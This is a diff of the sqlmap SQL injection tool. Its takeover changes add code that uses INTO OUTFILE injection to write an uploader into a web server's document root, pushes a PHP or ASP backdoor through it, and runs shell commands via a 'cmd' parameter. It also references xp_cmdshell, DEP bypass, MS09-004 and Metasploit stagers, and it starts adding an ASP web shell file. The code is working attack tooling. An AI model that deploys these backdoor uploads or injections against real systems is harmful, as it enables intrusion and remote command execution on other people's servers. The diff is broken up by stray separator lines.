logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
else:
|
||||
return os.path.getsize(srcFile)
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def unpack(self, srcFile, dstFile=None):
|
||||
pass
|
||||
|
||||
@@ -217,4 +217,4 @@ class xp_cmdshell:
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
||||
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")
|
||||
|
||||
@@ -73,7 +73,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
if length == 0:
|
||||
return 0, ""
|
||||
|
||||
showEta = conf.eta and length
|
||||
showEta = conf.eta and isinstance(length, int)
|
||||
numThreads = min(conf.threads, length)
|
||||
threads = []
|
||||
|
||||
@@ -140,6 +140,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
|
||||
|
||||
def downloadThread():
|
||||
try:
|
||||
while True:
|
||||
idxlock.acquire()
|
||||
|
||||
@@ -168,11 +169,6 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||
iolock.release()
|
||||
|
||||
|
||||
def downloadThreadProxy(numThread):
|
||||
try:
|
||||
downloadThread()
|
||||
|
||||
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
||||
conf.threadException = True
|
||||
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
||||
@@ -199,7 +195,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
||||
|
||||
# Start the threads
|
||||
for numThread in range(numThreads):
|
||||
thread = threading.Thread(target=downloadThreadProxy(numThread))
|
||||
thread = threading.Thread(target=downloadThread)
|
||||
thread.start()
|
||||
threads.append(thread)
|
||||
|
||||
|
||||
@@ -177,6 +177,7 @@ def __unionTestByNULLBruteforce(comment):
|
||||
def __unionTestByOrderBy(comment):
|
||||
columns = None
|
||||
value = None
|
||||
prevPayload = ""
|
||||
|
||||
for count in range(1, 51):
|
||||
query = agent.prefixQuery(" ORDER BY %d" % count)
|
||||
|
||||
@@ -29,14 +29,11 @@ import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import parseUnionPage
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.session import setUnion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
@@ -222,6 +219,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
||||
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
|
||||
payload = agent.payload(newValue=query)
|
||||
|
||||
# NOTE: for debug purposes only
|
||||
#debugMsg = "query: %s" % payload
|
||||
debugMsg = "query: %s" % query
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
@@ -32,7 +32,6 @@ from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.exception import sqlmapRegExprException
|
||||
|
||||
|
||||
class Google:
|
||||
@@ -84,9 +83,9 @@ class Google:
|
||||
|
||||
try:
|
||||
conn = self.opener.open("http://www.google.com/ncr")
|
||||
headers = conn.info()
|
||||
_ = conn.info()
|
||||
except urllib2.HTTPError, e:
|
||||
headers = e.info()
|
||||
_ = e.info()
|
||||
except urllib2.URLError, e:
|
||||
errMsg = "unable to connect to Google"
|
||||
raise sqlmapConnectionException, errMsg
|
||||
|
||||
@@ -28,15 +28,11 @@ import os
|
||||
import time
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -48,11 +44,9 @@ from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MSSQL_SYSTEM_DBS
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -198,7 +192,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
logger.info(infoMsg)
|
||||
|
||||
for version in ( 0, 5, 8 ):
|
||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d" % version)
|
||||
payload = agent.fullPayload(" AND ( ( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d ) )" % (version, version))
|
||||
result = Request.queryPage(payload)
|
||||
|
||||
if result == True:
|
||||
@@ -212,6 +206,11 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
break
|
||||
|
||||
elif version == 0:
|
||||
kb.dbmsVersion = [ "2000" ]
|
||||
|
||||
break
|
||||
|
||||
else:
|
||||
payload = agent.fullPayload(" AND SUBSTRING((@@VERSION), 22, 1)=7")
|
||||
result = Request.queryPage(payload)
|
||||
@@ -516,7 +515,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
wFilePointer.close()
|
||||
|
||||
if wFileSize < debugSize:
|
||||
chunkName = self.updateBinChunk(wFileContent, dFile, tmpPath)
|
||||
chunkName = self.updateBinChunk(wFileContent, tmpPath)
|
||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||
|
||||
logger.debug("moving binary file %s to %s" % (sFile, dFile))
|
||||
@@ -542,7 +541,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
for i in range(0, wFileSize, debugSize):
|
||||
wFileChunk = wFileContent[i:i+debugSize]
|
||||
chunkName = self.updateBinChunk(wFileChunk, dFile, tmpPath)
|
||||
chunkName = self.updateBinChunk(wFileChunk, tmpPath)
|
||||
|
||||
if i == 0:
|
||||
infoMsg = "renaming chunk "
|
||||
@@ -591,36 +590,19 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
|
||||
|
||||
|
||||
def overflowBypassDEP(self):
|
||||
# TODO: use 'sc' to:
|
||||
# * Get the SQL Server 'Service name' (usually MSSQLSERVER)
|
||||
# * Detect the absolute SQL Server executable file path
|
||||
#
|
||||
# References:
|
||||
# * http://www.ss64.com/nt/sc.html
|
||||
# * http://www.ss64.com/nt/for_cmd.html
|
||||
self.handleDep("C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe")
|
||||
|
||||
if self.bypassDEP == False:
|
||||
return
|
||||
|
||||
logger.info("restarting Microsoft SQL Server, wait..")
|
||||
time.sleep(15)
|
||||
# TODO: use 'sc' to:
|
||||
# * Warn the user that sqlmap needs to restart the SQL Server
|
||||
# service, ask for confirmation
|
||||
# * Stop the SQL Server service (after handling DEP)
|
||||
# * Start the SQL Server service (after handling DEP)
|
||||
|
||||
# Another way to restart MSSQL consists of writing a bat file with
|
||||
# the following text:
|
||||
#
|
||||
#@ECHO OFF
|
||||
#NET STOP MSSQLSERVER
|
||||
#NET START MSSQLSERVER
|
||||
#
|
||||
# Then run the following statement and wait a few seconds:
|
||||
#
|
||||
# exec master..xp_cmdshell 'start C:\WINDOWS\Temp\sqlmaprandom.bat'
|
||||
else:
|
||||
warnMsg = "sqlmap tried to add the expection for "
|
||||
warnMsg += "'sqlservr.exe' within the registry, but will not "
|
||||
warnMsg += "restart the MSSQLSERVER process to avoid denial "
|
||||
warnMsg += "of service. The buffer overflow trigger could not "
|
||||
warnMsg += "work, however sqlmap will give it a try. Soon "
|
||||
warnMsg += "it will come a new MS09-004 exploit to "
|
||||
warnMsg += "automatically bypass DEP."
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def spHeapOverflow(self):
|
||||
|
||||
@@ -28,7 +28,6 @@ import os
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import fileToStr
|
||||
from lib.core.common import formatDBMSfp
|
||||
from lib.core.common import formatFingerprint
|
||||
from lib.core.common import getHtmlErrorFp
|
||||
@@ -49,7 +48,6 @@ from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.inband.union.use import unionUse
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -148,15 +146,16 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
|
||||
return None
|
||||
|
||||
# MySQL valid versions updated on 02/2009
|
||||
# MySQL valid versions updated on 05/2009
|
||||
versions = (
|
||||
(32200, 32233), # MySQL 3.22
|
||||
(32300, 32359), # MySQL 3.23
|
||||
(40000, 40031), # MySQL 4.0
|
||||
(40100, 40122), # MySQL 4.1
|
||||
(50000, 50077), # MySQL 5.0
|
||||
(50100, 50132), # MySQL 5.1
|
||||
(60000, 60009), # MySQL 6.0
|
||||
(50100, 50134), # MySQL 5.1
|
||||
(50400, 50401), # MySQL 5.4
|
||||
(60000, 60010), # MySQL 6.0
|
||||
)
|
||||
|
||||
for element in versions:
|
||||
@@ -208,7 +207,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
value += actVer
|
||||
return value
|
||||
|
||||
# TODO: comment injection fingerprint is broken, fix
|
||||
comVer = self.__commentCheck()
|
||||
blank = " " * 15
|
||||
value += "active fingerprint: %s" % actVer
|
||||
|
||||
@@ -34,6 +34,7 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapSyntaxException
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.session import setDbms
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import ORACLE_SYSTEM_DBS
|
||||
|
||||
@@ -48,7 +48,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
from plugins.generic.enumeration import Enumeration
|
||||
from plugins.generic.filesystem import Filesystem
|
||||
@@ -302,8 +301,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
|
||||
|
||||
def stackedReadFile(self, rFile):
|
||||
# TODO: write a UDF to retrieve the hexadecimal encoded content of
|
||||
# the requested file
|
||||
warnMsg = "binary file read on PostgreSQL is not yet supported, "
|
||||
warnMsg += "if the requested file is binary, its content will not "
|
||||
warnMsg += "be retrieved"
|
||||
|
||||
@@ -30,6 +30,7 @@ from lib.core.agent import agent
|
||||
from lib.core.common import getRange
|
||||
from lib.core.common import parsePasswordHash
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -38,7 +39,6 @@ from lib.core.data import temp
|
||||
from lib.core.dump import dumper
|
||||
from lib.core.exception import sqlmapMissingMandatoryOptionException
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUndefinedMethod
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.core.session import setOs
|
||||
from lib.core.settings import SQL_STATEMENTS
|
||||
@@ -46,7 +46,6 @@ from lib.core.shell import autoCompletion
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.parse.banner import bannerParser
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
@@ -1000,7 +999,7 @@ class Enumeration:
|
||||
|
||||
if conf.dumpAll:
|
||||
logger.warn(errMsg)
|
||||
return kb.data.dumpedTable
|
||||
return None
|
||||
else:
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
@@ -1062,7 +1061,7 @@ class Enumeration:
|
||||
|
||||
if conf.dumpAll:
|
||||
logger.warn(errMsg)
|
||||
return kb.data.dumpedTable
|
||||
return None
|
||||
else:
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
@@ -1097,7 +1096,6 @@ class Enumeration:
|
||||
|
||||
def sqlQuery(self, query):
|
||||
output = None
|
||||
selectQuery = True
|
||||
sqlType = None
|
||||
|
||||
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
|
||||
@@ -1105,9 +1103,6 @@ class Enumeration:
|
||||
if query.lower().startswith(sqlStatement):
|
||||
sqlType = sqlTitle
|
||||
|
||||
if sqlTitle != "SQL SELECT statement":
|
||||
selectQuery = False
|
||||
|
||||
break
|
||||
|
||||
message = "do you want to retrieve the SQL statement output? "
|
||||
@@ -1122,6 +1117,8 @@ class Enumeration:
|
||||
|
||||
return output
|
||||
else:
|
||||
query = urlencode(query, convall=True)
|
||||
|
||||
if kb.stackedTest == None:
|
||||
stackedTest()
|
||||
|
||||
|
||||
@@ -31,10 +31,8 @@ from lib.core.agent import agent
|
||||
from lib.core.common import dataToOutFile
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
@@ -50,33 +48,21 @@ class Filesystem:
|
||||
|
||||
|
||||
def __unbase64String(self, base64Str):
|
||||
unbase64Str = ""
|
||||
|
||||
if isinstance(base64Str, (list, tuple, set)):
|
||||
for chunk in base64Str:
|
||||
if isinstance(chunk, (list, tuple, set)):
|
||||
chunk = chunk[0]
|
||||
|
||||
unbase64Str += "%s\n" % chunk.decode("base64")
|
||||
else:
|
||||
unbase64Str = "%s\n" % base64Str.decode("base64")
|
||||
|
||||
return unbase64Str
|
||||
|
||||
|
||||
def __unhexString(self, hexStr):
|
||||
unhexStr = ""
|
||||
if len(hexStr) % 2 != 0:
|
||||
errMsg = "for some reasons sqlmap retrieved an odd-length "
|
||||
errMsg += "hexadecimal string which it is not able to convert "
|
||||
errMsg += "to raw string"
|
||||
logger.error(errMsg)
|
||||
|
||||
if isinstance(hexStr, (list, tuple, set)):
|
||||
for chunk in hexStr:
|
||||
if isinstance(chunk, (list, tuple, set)):
|
||||
chunk = chunk[0]
|
||||
return hexStr
|
||||
|
||||
unhexStr += binascii.unhexlify(chunk)
|
||||
else:
|
||||
unhexStr = binascii.unhexlify(hexStr)
|
||||
|
||||
return unhexStr
|
||||
return binascii.unhexlify(hexStr)
|
||||
|
||||
|
||||
def __binDataToScr(self, binaryData, chunkName):
|
||||
@@ -215,7 +201,7 @@ class Filesystem:
|
||||
return fcEncodedList
|
||||
|
||||
|
||||
def updateBinChunk(self, binaryData, dFile, tmpPath):
|
||||
def updateBinChunk(self, binaryData, tmpPath):
|
||||
"""
|
||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||
back-end DBMS underlying file system
|
||||
@@ -295,10 +281,20 @@ class Filesystem:
|
||||
|
||||
fileContent = self.stackedReadFile(rFile)
|
||||
|
||||
if fileContent == None:
|
||||
if fileContent in ( None, "" ):
|
||||
self.cleanup(onlyFileTbl=True)
|
||||
|
||||
return
|
||||
elif isinstance(fileContent, (list, tuple, set)):
|
||||
newFileContent = ""
|
||||
|
||||
for chunk in fileContent:
|
||||
if isinstance(chunk, (list, tuple, set)):
|
||||
chunk = chunk[0]
|
||||
|
||||
newFileContent += chunk
|
||||
|
||||
fileContent = newFileContent
|
||||
|
||||
if kb.dbms in ( "MySQL", "Microsoft SQL Server" ):
|
||||
fileContent = self.__unhexString(fileContent)
|
||||
|
||||
@@ -33,7 +33,7 @@ class Fingerprint:
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def unescape(expression):
|
||||
def unescape(expression, quote=True):
|
||||
errMsg = "'unescape' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
@@ -24,12 +24,16 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
from lib.core.common import getDirectories
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import fileToStr
|
||||
from lib.core.common import getDirs
|
||||
from lib.core.common import getDocRoot
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import readInput
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.convert import hexencode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
@@ -59,13 +63,12 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
|
||||
|
||||
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
||||
"""
|
||||
TODO: complete review of this code is needed
|
||||
"""
|
||||
|
||||
output = None
|
||||
|
||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
|
||||
if not cmd:
|
||||
cmd = conf.osCmd
|
||||
|
||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
|
||||
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
||||
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
||||
|
||||
@@ -77,140 +80,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
return output
|
||||
|
||||
|
||||
def __webBackdoorOsShell(self):
|
||||
"""
|
||||
TODO: complete review of this code is needed
|
||||
|
||||
This method is used to write a PHP agent (cmd.php) on a writable
|
||||
remote directory within the web server document root.
|
||||
Such agent is written using the INTO OUTFILE MySQL DBMS
|
||||
functionality
|
||||
|
||||
@todo:
|
||||
* Add a web application crawling functionality to detect
|
||||
all (at least most) web server directories and merge with
|
||||
Google results if the target host is a publicly available
|
||||
hostname or IP address;
|
||||
* Extend the agent to other interpreters rather than only PHP:
|
||||
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
|
||||
"""
|
||||
|
||||
infoMsg = "retrieving web application directories"
|
||||
logger.info(infoMsg)
|
||||
|
||||
directories = getDirectories()
|
||||
|
||||
if directories:
|
||||
infoMsg = "retrieved web server directories "
|
||||
infoMsg += "'%s'" % ", ".join(d for d in directories)
|
||||
logger.info(infoMsg)
|
||||
|
||||
message = "in addition you can provide a list of directories "
|
||||
message += "absolute path comma separated that you want sqlmap "
|
||||
message += "to try to upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
else:
|
||||
message = "please provide the web server document root [/var/www]: "
|
||||
inputDocRoot = readInput(message, default="/var/www")
|
||||
|
||||
if inputDocRoot:
|
||||
kb.docRoot = inputDocRoot
|
||||
else:
|
||||
kb.docRoot = "/var/www"
|
||||
|
||||
message = "please provide a list of directories absolute path "
|
||||
message += "comma separated that you want sqlmap to try to "
|
||||
message += "upload the agent [/var/www/test]: "
|
||||
inputDirs = readInput(message, default="/var/www/test")
|
||||
|
||||
if inputDirs:
|
||||
inputDirs = inputDirs.replace(", ", ",")
|
||||
inputDirs = inputDirs.split(",")
|
||||
|
||||
for inputDir in inputDirs:
|
||||
directories.add(inputDir)
|
||||
else:
|
||||
directories.add("/var/www/test")
|
||||
|
||||
infoMsg = "trying to upload the uploader agent"
|
||||
logger.info(infoMsg)
|
||||
|
||||
directories = list(directories)
|
||||
directories.sort()
|
||||
uploaded = False
|
||||
|
||||
backdoorName = "backdoor.php"
|
||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||
uploaderName = "uploader.php"
|
||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||
|
||||
for directory in directories:
|
||||
if uploaded:
|
||||
break
|
||||
|
||||
# Upload the uploader agent
|
||||
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
||||
|
||||
query = agent.prefixQuery(" %s" % query)
|
||||
query = agent.postfixQuery(query)
|
||||
|
||||
payload = agent.payload(newValue=query)
|
||||
page = Request.queryPage(payload)
|
||||
|
||||
if kb.docRoot:
|
||||
requestDir = directory.replace(kb.docRoot, "")
|
||||
else:
|
||||
requestDir = directory
|
||||
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||
|
||||
if "sqlmap backdoor uploader" not in page:
|
||||
warnMsg = "unable to upload the uploader "
|
||||
warnMsg += "agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
infoMsg = "the uploader agent has been successfully uploaded "
|
||||
infoMsg += "on '%s'" % directory
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Upload the backdoor through the uploader agent
|
||||
multipartParams = {
|
||||
"upload": "1",
|
||||
"file": open(backdoorPath, "r"),
|
||||
"uploadDir": directory,
|
||||
}
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
||||
|
||||
if "Backdoor uploaded" not in page:
|
||||
warnMsg = "unable to upload the backdoor through "
|
||||
warnMsg += "the uploader agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
uploaded = True
|
||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||
|
||||
infoMsg = "the backdoor has been successfully uploaded on "
|
||||
infoMsg += "'%s', go with your browser to " % directory
|
||||
infoMsg += "'%s' and enjoy it!" % backdoorUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
if conf.osShell:
|
||||
message = "do you want to use the uploaded backdoor as a "
|
||||
message += "shell to execute commands right now? [Y/n] "
|
||||
shell = readInput(message, default="Y")
|
||||
|
||||
if shell in ("n", "N"):
|
||||
continue
|
||||
|
||||
def __webBackdoorShell(self, backdoorUrl):
|
||||
infoMsg = "calling OS shell. To quit type "
|
||||
infoMsg += "'x' or 'q' and press ENTER"
|
||||
logger.info(infoMsg)
|
||||
@@ -241,6 +111,138 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
self.__webBackdoorRunCmd(backdoorUrl, command)
|
||||
|
||||
|
||||
def __webBackdoorInit(self):
|
||||
"""
|
||||
This method is used to write a web backdoor (agent) on a writable
|
||||
remote directory within the web server document root.
|
||||
"""
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
backdoorUrl = None
|
||||
language = None
|
||||
kb.docRoot = getDocRoot()
|
||||
directories = getDirs()
|
||||
directories = list(directories)
|
||||
directories.sort()
|
||||
|
||||
infoMsg = "trying to upload the uploader agent"
|
||||
logger.info(infoMsg)
|
||||
|
||||
message = "which web application language does the web server "
|
||||
message += "support?\n"
|
||||
message += "[1] ASP\n"
|
||||
message += "[2] PHP (default)\n"
|
||||
message += "[3] JSP"
|
||||
|
||||
while True:
|
||||
choice = readInput(message, default="2")
|
||||
|
||||
if not choice or choice == "2":
|
||||
language = "php"
|
||||
|
||||
break
|
||||
|
||||
elif choice == "1":
|
||||
language = "asp"
|
||||
|
||||
break
|
||||
|
||||
elif choice == "3":
|
||||
# TODO: add also JSP backdoor/uploader support
|
||||
errMsg = "JSP web backdoor functionality is not yet "
|
||||
errMsg += "implemented"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
#language = "jsp"
|
||||
|
||||
#break
|
||||
|
||||
elif not choice.isdigit():
|
||||
logger.warn("invalid value, only digits are allowed")
|
||||
|
||||
elif int(choice) < 1 or int(choice) > 3:
|
||||
logger.warn("invalid value, it must be 1 or 3")
|
||||
|
||||
backdoorName = "backdoor.%s" % language
|
||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||
uploaderName = "uploader.%s" % language
|
||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||
|
||||
for directory in directories:
|
||||
# Upload the uploader agent
|
||||
outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
|
||||
uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
||||
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
|
||||
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
|
||||
query = agent.prefixQuery(" %s" % query)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
page = Request.queryPage(payload)
|
||||
|
||||
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
uploaderUrl = uploaderUrl.replace("./", "/")
|
||||
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||
|
||||
if "sqlmap backdoor uploader" not in uplPage:
|
||||
warnMsg = "unable to upload the uploader "
|
||||
warnMsg += "agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
infoMsg = "the uploader agent has been successfully uploaded "
|
||||
infoMsg += "on '%s'" % directory
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Upload the backdoor through the uploader agent
|
||||
if language == "php":
|
||||
multipartParams = {
|
||||
"upload": "1",
|
||||
"file": open(backdoorPath, "r"),
|
||||
"uploadDir": directory,
|
||||
}
|
||||
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
||||
|
||||
if "Backdoor uploaded" not in page:
|
||||
warnMsg = "unable to upload the backdoor through "
|
||||
warnMsg += "the uploader agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
elif language == "asp":
|
||||
backdoorRemotePath = "%s/%s" % (directory, backdoorName)
|
||||
backdoorRemotePath = os.path.normpath(backdoorRemotePath)
|
||||
backdoorContent = open(backdoorPath, "r").read()
|
||||
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
|
||||
page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr)
|
||||
|
||||
if "permission denied" in page.lower():
|
||||
warnMsg = "unable to upload the backdoor through "
|
||||
warnMsg += "the uploader agent on '%s'" % directory
|
||||
logger.warn(warnMsg)
|
||||
|
||||
continue
|
||||
|
||||
elif language == "jsp":
|
||||
# TODO: add also JSP backdoor/uploader support
|
||||
pass
|
||||
|
||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||
|
||||
infoMsg = "the backdoor has probably been successfully "
|
||||
infoMsg += "uploaded on '%s', go with your browser " % directory
|
||||
infoMsg += "to '%s' and enjoy it!" % backdoorUrl
|
||||
logger.info(infoMsg)
|
||||
|
||||
break
|
||||
|
||||
return backdoorUrl
|
||||
|
||||
|
||||
def uploadChurrasco(self):
|
||||
msg = "do you want sqlmap to upload Churrasco and call the "
|
||||
msg += "Metasploit payload stager as its argument so that it "
|
||||
@@ -269,8 +271,15 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
return
|
||||
infoMsg = "going to upload a web page backdoor for command "
|
||||
infoMsg += "execution"
|
||||
logger.info(infoMsg)
|
||||
|
||||
backdoorUrl = self.__webBackdoorInit()
|
||||
|
||||
if backdoorUrl:
|
||||
self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
|
||||
else:
|
||||
self.initEnv()
|
||||
self.runCmd(conf.osCmd)
|
||||
|
||||
@@ -283,7 +292,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
infoMsg += "execution"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__webBackdoorOsShell()
|
||||
backdoorUrl = self.__webBackdoorInit()
|
||||
|
||||
if backdoorUrl:
|
||||
self.__webBackdoorShell(backdoorUrl)
|
||||
else:
|
||||
self.initEnv()
|
||||
self.absOsShell()
|
||||
|
||||
44
shell/backdoor.asp
Normal file
44
shell/backdoor.asp
Normal file
@@ -0,0 +1,44 @@
|
||||
<!--
|
||||
|
||||
ASP_KIT
|
||||
|
||||
cmd.asp = Command Execution
|
||||
|
||||
by: Maceo
|
||||
modified: 25/06/2003
|
||||
|
||||
-->
|
||||
